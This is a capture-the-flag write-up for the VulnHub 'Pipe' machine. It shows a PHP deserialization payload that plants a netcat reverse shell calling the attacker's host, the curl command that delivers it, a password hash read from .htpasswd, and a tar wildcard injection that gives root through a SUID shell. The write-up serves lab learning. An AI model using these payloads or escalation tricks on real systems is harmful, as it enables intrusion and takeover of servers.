/dev/random: Pipe VulnHub Writeup

  1. Service discovery
  2. HTTP - all the methods
  3. Next steps
  4. Conclusion

This is the first of two new challenges to hit VulnHub on 2015-10-02. This is touted as a mini-ctf, created by Sagi, and named Pipe.

Service discovery

Firs things first, I fire off nmap at the target machine.

Starting Nmap 6.49SVN ( https://nmap.org ) at 2015-10-02 17:44 BST
Nmap scan report for 192.168.57.101
Host is up (0.000034s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 13.06 seconds

Great, so we've got SSH and HTTP to play with.

SSH does not provide us with anything of interest, so I move on.

HTTP - all the methods

Upon visiting the server, we're immediately presented with a 401 error. After a short time, I decide to try methods other than GET on the server. We are now shown a page with a body of text from a wikipedia article.

After taking a look at the source of the page, something immediately gets my attention.

<script src="scriptz/php.js"></script>
<script>
function submit_form() {
var object = serialize({id: 1, firstname: 'Rene', surname: 'Margitte', artwork: 'The Treachery of Images'});
object = object.substr(object.indexOf("{"),object.length);
object = "O:4:\"Info\":4:" + object;
document.forms[0].param.value = object;
document.getElementById('info_form').submit();
}
</script>

Looks like we're serialising some data, so that it can be deserialised in the PHP backend. Oh my..

While doing my initial recon, I checked out the 'scriptz' directory, and found that Directory Listing was enabled, and that a file was present named 'log.php.BAK'.

<?php
class Log
{
    public $filename = '';
    public $data = '';

    public function __construct()
    {
        $this->filename = '';
    $this->data = '';
    }

    public function PrintLog()
    {
        $pre = "[LOG]";
    $now = date('Y-m-d H:i:s');

        $str = '$pre - $now - $this->data';
        eval("\$str = \"$str\";");
        echo $str;
    }

    public function __destruct()
    {
    file_put_contents($this->filename, $this->data, FILE_APPEND);
    }
}
?>

Great - this class, during its teardown will output to an arbitrary file, some arbitrary content. We can use this get a reverse shell on our target.

First of all, we use CURL to create our backdoor. The serialised object has been URL Encoded in the command - the original is show above it.

O:3:"Log":2:{s:8:"filename";s:19:"/var/www/html/a.php";s:4:"data";s:53:"<?php passthru("nc -e /bin/sh 192.168.57.102 8089")?>";}

curl --data 'param=O%3A3%3A%22Log%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22%2Fvar%2Fwww%2Fhtml%2Fa.php%22%3Bs%3A4%3A%22data%22%3Bs%3A53%3A%22%3C%3Fphp+passthru%28%22nc+-e+%2Fbin%2Fsh+192.168.57.102+8089%22%29%3F%3E%22%3B%7D' http://192.168.57.101/index.php

We then in one tab setup our listener, and then in another, trigger our backdoor.

nc -l 8089
curl -X POST http://192.168.57.102/a.php

In our first tab, we've now granted a shell as the www-data user.

whoami
www-data
ls -alh
total 36K
drwxr-xr-x 4 www-data www-data 4.0K Oct  3 03:16 .
drwxr-xr-x 3 root     root     4.0K Jul  5 14:46 ..
-rw-r--r-- 1 www-data www-data    0 Oct  3 01:31 .htaccess
-rw-r--r-- 1 www-data www-data   43 Jul  6 09:33 .htpasswd
-rw-r--r-- 1 www-data www-data   53 Oct  3 03:10 a.php
drwxr-xr-x 2 www-data www-data 4.0K Jul  6 02:53 images
-rw-r--r-- 1 www-data www-data 2.8K Jul  9 13:49 index.php
-rw-r--r-- 1 www-data www-data  150 Jul  6 01:50 info.php
-rw-r--r-- 1 www-data www-data  474 Jul  6 03:43 log.php
drwxr-xr-x 2 www-data www-data 4.0K Jul  6 02:37 scriptz
cat .htpasswd
rene:$apr1$wfYjXf4U$0ZZ.qhGGrtkOxvKr5WFqX/

I take note of the hash in the .htpasswd file for later, just in case John can help us out with it.

Next steps

After a little exploration, I find there is a user named ‘rene’ (matching the htpasswd file), and there are two readable files in a directory named 'backup' (which is in itself world writable) in their home directory.

ls -alh /home/rene
total 128K
drwxrwxrwx 2 rene rene 4.0K Oct  3 01:51 .
drwxr-xr-x 3 rene rene 4.0K Jul  6 07:42 ..
-rw-r--r-- 1 rene rene  91K Oct  3 01:50 backup.tar.gz
-rw-r--r-- 1 rene rene  26K Oct  3 01:51 sys-7500.BAK

I download both of these, and dig further.

The backup.tar.gz holds a number of files, follows the format of sys-.bak. These files appear to be recreated every so often, so I go in search of a cron entry that’s responsible for it.

The file /etc/crontab is world readable, and gives us a trail to follow.

ls -alh /etc/crontab
-rw-r--r-- 1 root root 798 Jul  6 08:29 /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user    command
17 *    * * *    root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /root/create_backup.sh
*/5 * * * * root /usr/bin/compress.sh

Great - we can’t read the first file, but the second we can.

cat /usr/bin/compress.sh
#!/bin/sh

rm -f /home/rene/backup/backup.tar.gz
cd /home/rene/backup
tar cfz /home/rene/backup/backup.tar.gz *
chown rene:rene /home/rene/backup/backup.tar.gz
rm -f /home/rene/backup/*.BAK

Using a lesson learned from our Flick 2, we can escalate privileges to root using the tar call. The reason for this is that the tar call is using a wildcard to provide the argument list, meaning we can create a few files to execute arbitrary commands as the executing user (in this case, root). One difference is, that we're not in the session that's executing tar, so instead of spawning a shell, I'm going to set the SUID bit on the /bin/dash executable, so that we can execute it as root.

cd /home/rene/backup
echo > --checkpoint=1;
echo > --checkpoint-action=exec=sh\ shell.sh;
echo 'chmod u+s /bin/dash' > shell.sh
chmod +x shell.sh

Now we wait for the cron to run again, and then get a new session using /bin/dash, and proceed to recover our flag.

/bin/dash
whoami
root
ls /root
create_backup.sh
flag.txt
cat /root/flag.txt
                                                                   .aMMMMMMMMn.  ,aMMMMn.
                                                                 .aMccccccccc*YMMn.    `Mb
                                                                aMccccccccccccccc*Mn    MP
                                                               .AMMMMn.   MM `*YMMY*ccaM*
                                                              dM*  *YMMb  YP        `cMY
                                                              YM.  .dMMP   aMn.     .cMP
                                                               *YMMn.     aMMMMMMMMMMMY'
                                                                .'YMMb.           ccMP
                                                             .dMcccccc*Mc....cMb.cMP'
                                                           .dMMMMb;cccc*Mbcccc,IMMMMMMMn.
                                                          dY*'  '*M;ccccMM..dMMM..MP*cc*Mb
                                                          YM.    ,MbccMMMMMMMMMMMM*cccc;MP
                                                           *Mbn;adMMMMMMMMMMMMMMMIcccc;M*
                                                          dPcccccIMMMMMMMMMMMMMMMMa;c;MP
                                                          Yb;cc;dMMMMMMMMMMMP*'  *YMMP*
                                                           *YMMMPYMMMMMMP*'          curchack
                                                       +####################################+
                                                       |======                            | |
                                                       |======                            | |
                                                       |======                            | |
                                                       |======                            | |
                                                       |======                            | |
                                                       +----------------------------------+-+
                                                        ####################################
                                                             |======                  |
                                                             |======                  |
                                                             |=====                   |
                                                             |====                    |
                                                             |                        |
                                                             +                        +

 .d8888b.                 d8b          d8b               888                                                                    d8b
d88P  Y88b                Y8P          88P               888                                                                    Y8P
888    888                             8P                888
888        .d88b.  .d8888b888   88888b."  .d88b. .d8888b 888888   88888b.  8888b. .d8888b    888  88888888b.  .d88b.    88888b. 88888888b.  .d88b.
888       d8P  Y8bd88P"   888   888 "88b d8P  Y8b88K     888      888 "88b    "88b88K        888  888888 "88bd8P  Y8b   888 "88b888888 "88bd8P  Y8b
888    88888888888888     888   888  888 88888888"Y8888b.888      888  888.d888888"Y8888b.   888  888888  88888888888   888  888888888  88888888888
Y88b  d88PY8b.    Y88b.   888   888  888 Y8b.         X88Y88b.    888 d88P888  888     X88   Y88b 888888  888Y8b.       888 d88P888888 d88PY8b.   d8b
 "Y8888P"  "Y8888  "Y8888P888   888  888  "Y8888  88888P' "Y888   88888P" "Y888888 88888P'    "Y88888888  888 "Y8888    88888P" 88888888P"  "Y8888Y8P
                                                                  888                                                   888        888
                                                                  888                                                   888        888
                                                                  888                                                   888        888
Well Done!
Here's your flag: 0089cd4f9ae79402cdd4e7b8931892b7

Conclusion

Nice little challenge here - fun use of unusual Apache configuration, coupled with a little PHP serialisation.

Thank you for the challenge Sagi, and as always, thank you VulnHub for hosting it!